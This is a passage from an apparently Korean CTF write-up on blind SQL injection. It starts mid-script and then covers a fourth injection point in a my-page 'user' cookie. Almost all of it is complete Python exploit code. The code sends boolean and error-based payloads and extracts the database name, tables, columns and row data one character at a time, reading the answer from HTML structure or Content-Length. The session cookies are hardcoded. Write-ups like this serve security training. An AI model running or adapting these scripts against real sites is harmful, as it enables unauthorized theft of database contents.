            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                data_cnt = data_cnt_idx

        print(f"        - data all count: {data_cnt}")

        for data_cnt_idx2 in range(0, data_cnt):
            print(f"         - data cnt[{data_cnt_idx2}]")
            data_length = 0
            for data_length_idx in range(0, 50):
                payload['sort'] = "case when ((select length("+column_name + \
                    ") from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1) = " + \
                    str(data_length_idx)+") then 1 else (select 1 union select 2) end"


                res = post_request_with_retry(url, payload, headers, max_retries, cookie)
                # print(payload["id"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                parsed_html = BeautifulSoup(res.text, "html.parser")
                info = parsed_html.find_all("tbody")[0]
                # print(info)
            
                children = info.find("tr", recursive=False)

                # print(res.text)
                if not children:
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    data_length = data_length_idx

            print(f"         - data length: {data_length}")

            data_name = ""
            for data_length_idx2 in range(0, data_length+1):
                for j in range(32, 127):
                    payload['sort'] = "case when (select ascii(substr((select "+column_name + \
                        " from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1), " + \
                        str(data_length_idx2)+", 1)) = "+str(j)+") then 1 else (select 1 union select 2) end"


                    res = post_request_with_retry(url, payload, headers, max_retries, cookie)
                    # print(payload["id"])
                    time.sleep(0.001)

                    # children이 있으면 존재하지 않는 아이디(거짓)
                    parsed_html = BeautifulSoup(res.text, "html.parser")
                    info = parsed_html.find_all("tbody")[0]
                    # print(info)
                
                    children = info.find("tr", recursive=False)

                    # print(res.text)
                    if not children:
                        # print(children.text)
                        pass
                    # 없으면 존재하는 아이디(참)
                    else:
                        # print(info.text)
                        data_name += chr(j)

            print(f"          - data name: {data_name}")

참/거짓에 따라 html 구조가 다르다는 점을 이용하였다.

위의 코드를 이용해 DB에서 flag를 찾을 수 있었다.

 

 

2.4 SQL Injection Point 4

마지막 문제는 DB 에러에 관한 문제이다.

마이페이지에서 확인할 수 있었다.

 

마이페이지 접근 시 쿠키를 사용하고 있었고, 제대로 된 값이면 제대로 된 화면이 나온다.

aaa' 처럼 잘못된 값을 넣으면 DB Error 를 표시한다.

 

이를 SQL Injection으로 사용하였다

 

더보기
import requests
from user_agent import generate_user_agent, generate_navigator
from bs4 import BeautifulSoup
import time


def post_request_with_retry(url, headers, max_retries, cookie, attempt=1):
    try:
        # response = requests.post(url, data=data, timeout=timeout_seconds)
        response = requests.get(url, headers=headers, cookies=cookie)
        response.raise_for_status()  # HTTP 에러가 발생하면 예외를 일으킴
        # print('응답 받음:', response.json())
        return response
    except TimeoutError:
        print(f'타임아웃 발생 (시도 {attempt}/{max_retries})')
    except requests.exceptions.RequestException as e:
        print(f'요청 실패: {e}')

    if attempt < max_retries:
        return post_request_with_retry(url, headers, max_retries, cookie, attempt+1)
    else:
        print('최대 재시도 횟수 도달. 요청을 중단합니다.')
        return None


url = ''


headers = {
    'User-Agent': generate_user_agent(os='win', device_type='desktop')
}

cookie={
    "session": "44140154-2ce3-46fb-b668-167e2fd0653f.EbVMaCBfnvNBzmSco1q9IcKuzaE",
    "PHPSESSID": "ih4jv45k8hturn890qbtj1djd4"
}


timeout_seconds = None
max_retries = 5

db_name = ""
table_name = ""
column_name = ""

table_length_max = 50
column_length_max = 50


# DB 길이 찾기
db_length = 0
for db_length_idx in range(0, 20):
  
    cookie["user"] = "aaa' and (select 1 union select 2 where (select length(database()) = " + \
        str(db_length_idx) + ")) and '1'='1"
    # print(cookie["user"])
    res = post_request_with_retry(url, headers, max_retries, cookie)
    
    time.sleep(0.001)

    # print(res.text)
    # print(res.history)
    # print(res.headers)

    # children이 있으면 존재하지 않는 아이디(거짓)
    if res.headers['Content-Length'] != '12':
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        db_length = db_length_idx

print(f"db length: {db_length}")
# exit(0)

for db_length_idx2 in range(0, db_length+1):
    for j in range(32, 127):
        cookie["user"] = "aaa' and (select 1 union select 2 where (ascii(substr((select database()),"+str(
            db_length_idx2)+",1)) = "+str(j)+")) and '1'='1"
        res = post_request_with_retry(url, headers, max_retries, cookie)
        # print(payload["id"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        if res.headers['Content-Length'] != '12':
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            db_name += chr(j)

print(f"db name: {db_name}")

table_cnt = ""
for table_cnt_idx in range(0, 20):

    cookie["user"] = "aaa' and (select 1 union select 2 where (select (select count(table_name) from information_schema.tables where table_schema='" + \
        db_name+"') = "+str(table_cnt_idx)+")) and '1'='1"
    res = post_request_with_retry(url, headers, max_retries, cookie)
    # print(payload["id"])
    # print(res.text)
    time.sleep(0.001)

    # children이 있으면 존재하지 않는 아이디(거짓)
    if res.headers['Content-Length'] != '12':
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        table_cnt = table_cnt_idx

print(f"table all count: {table_cnt}")


for table_cnt_idx2 in range(0, table_cnt+1):
    print(f" - table cnt[{table_cnt_idx2}]")
    table_length = 0
    for table_length_idx in range(0, table_length_max):

        cookie["user"] = "aaa' and (select 1 union select 2 where ((select length(table_name) from information_schema.tables where table_schema='" + \
            db_name+"' limit "+str(table_cnt_idx2) + \
            ",1) = "+str(table_length_idx)+")) and '1'='1"
        res = post_request_with_retry(url, headers, max_retries, cookie)
        # print(payload["id"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        if res.headers['Content-Length'] != '12':
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            table_length = table_length_idx

    print(f"  - table length: {table_length}")

    table_name = ""
    for table_length_idx2 in range(0, table_length+1):
        for j in range(32, 127):

            cookie["user"] = "aaa' and (select 1 union select 2 where (select ascii(substr((select table_name from information_schema.tables where table_schema='" + \
                db_name+"' limit "+str(table_cnt_idx2)+",1), "+str(
                    table_length_idx2)+",1)) = "+str(j)+")) and '1'='1"
            res = post_request_with_retry(url, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            if res.headers['Content-Length'] != '12':
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                table_name += chr(j)

    print(f"   - table name: {table_name}")

    column_cnt = ""
    for column_cnt_idx in range(0, 20):

        cookie["user"] = "aaa' and (select 1 union select 2 where (select (select count(column_name) from information_schema.columns where table_name='" + \
            table_name+"' and table_schema='" + \
            db_name+"') = "+str(column_cnt_idx)+")) and '1'='1"
        res = post_request_with_retry(url, headers, max_retries, cookie)
        # print(payload["id"])
        # print(res.text)
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        if res.headers['Content-Length'] != '12':
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            column_cnt = column_cnt_idx

    print(f"   - column all count: {column_cnt}")

    for column_cnt_idx2 in range(0, column_cnt):
        print(f"     - column cnt[{column_cnt_idx2}]")
        column_length = 0
        for column_length_idx in range(0, column_length_max):

            cookie["user"] = "aaa' and (select 1 union select 2 where ((select length(column_name) from information_schema.columns where table_name='" + \
                table_name+"' and table_schema='"+db_name+"' limit " + \
                str(column_cnt_idx2)+",1) = " + \
                str(column_length_idx)+")) and '1'='1"
            res = post_request_with_retry(url, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            if res.headers['Content-Length'] != '12':
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                column_length = column_length_idx

        print(f"      - column length: {column_length}")

        column_name = ""
        for column_length_idx2 in range(0, column_length+1):
            for j in range(32, 127):

                cookie["user"] = "aaa' and (select 1 union select 2 where (select ascii(substr((select column_name from information_schema.columns where table_schema='" + \
                    db_name+"' and table_name='"+table_name+"' limit " + \
                    str(column_cnt_idx2)+",1), "+str(column_length_idx2) + \
                    ",1)) = "+str(j)+")) and '1'='1"
                res = post_request_with_retry(url, headers, max_retries, cookie)
                # print(payload["id"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                if res.headers['Content-Length'] != '12':
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    column_name += chr(j)

        print(f"       - column name: {column_name}")

        data_cnt = 0
        for data_cnt_idx in range(0, 20):
            cookie["user"] = "aaa' and (select 1 union select 2 where (select (select count("+column_name + \
                ") from "+db_name+"."+table_name+") = " + \
                str(data_cnt_idx)+")) and '1'='1"
            res = post_request_with_retry(url, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            if res.headers['Content-Length'] != '12':
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                data_cnt = data_cnt_idx

        print(f"        - data all count: {data_cnt}")

        for data_cnt_idx2 in range(0, data_cnt):
            print(f"         - data cnt[{data_cnt_idx2}]")
            data_length = 0
            for data_length_idx in range(0, 50):
                cookie["user"] = "aaa' and (select 1 union select 2 where ((select length("+column_name + \
                    ") from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1) = " + \
                    str(data_length_idx)+")) and '1'='1"
                res = post_request_with_retry(url, headers, max_retries, cookie)
                # print(payload["id"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                if res.headers['Content-Length'] != '12':
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    data_length = data_length_idx

            print(f"         - data length: {data_length}")

            data_name = ""
            for data_length_idx2 in range(0, data_length+1):
                for j in range(32, 127):
                    cookie["user"] = "aaa' and (select 1 union select 2 where (select ascii(substr((select "+column_name + \
                        " from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1), " + \
                        str(data_length_idx2)+", 1)) = "+str(j)+")) and '1'='1"
                    res = post_request_with_retry(url, headers, max_retries, cookie)
                    # print(payload["id"])
                    time.sleep(0.001)

                    # children이 있으면 존재하지 않는 아이디(거짓)
                    if res.headers['Content-Length'] != '12':
                        # print(children.text)
                        pass
                    # 없으면 존재하는 아이디(참)
                    else:
                        # print(info.text)
                        data_name += chr(j)

            print(f"          - data name: {data_name}")

참/거짓 여부에 따라 Content-Length가 다르다는 점을 이용하였다.

위의 코드를 이용해 DB에서 flag를 찾을 수 있었다.

반응형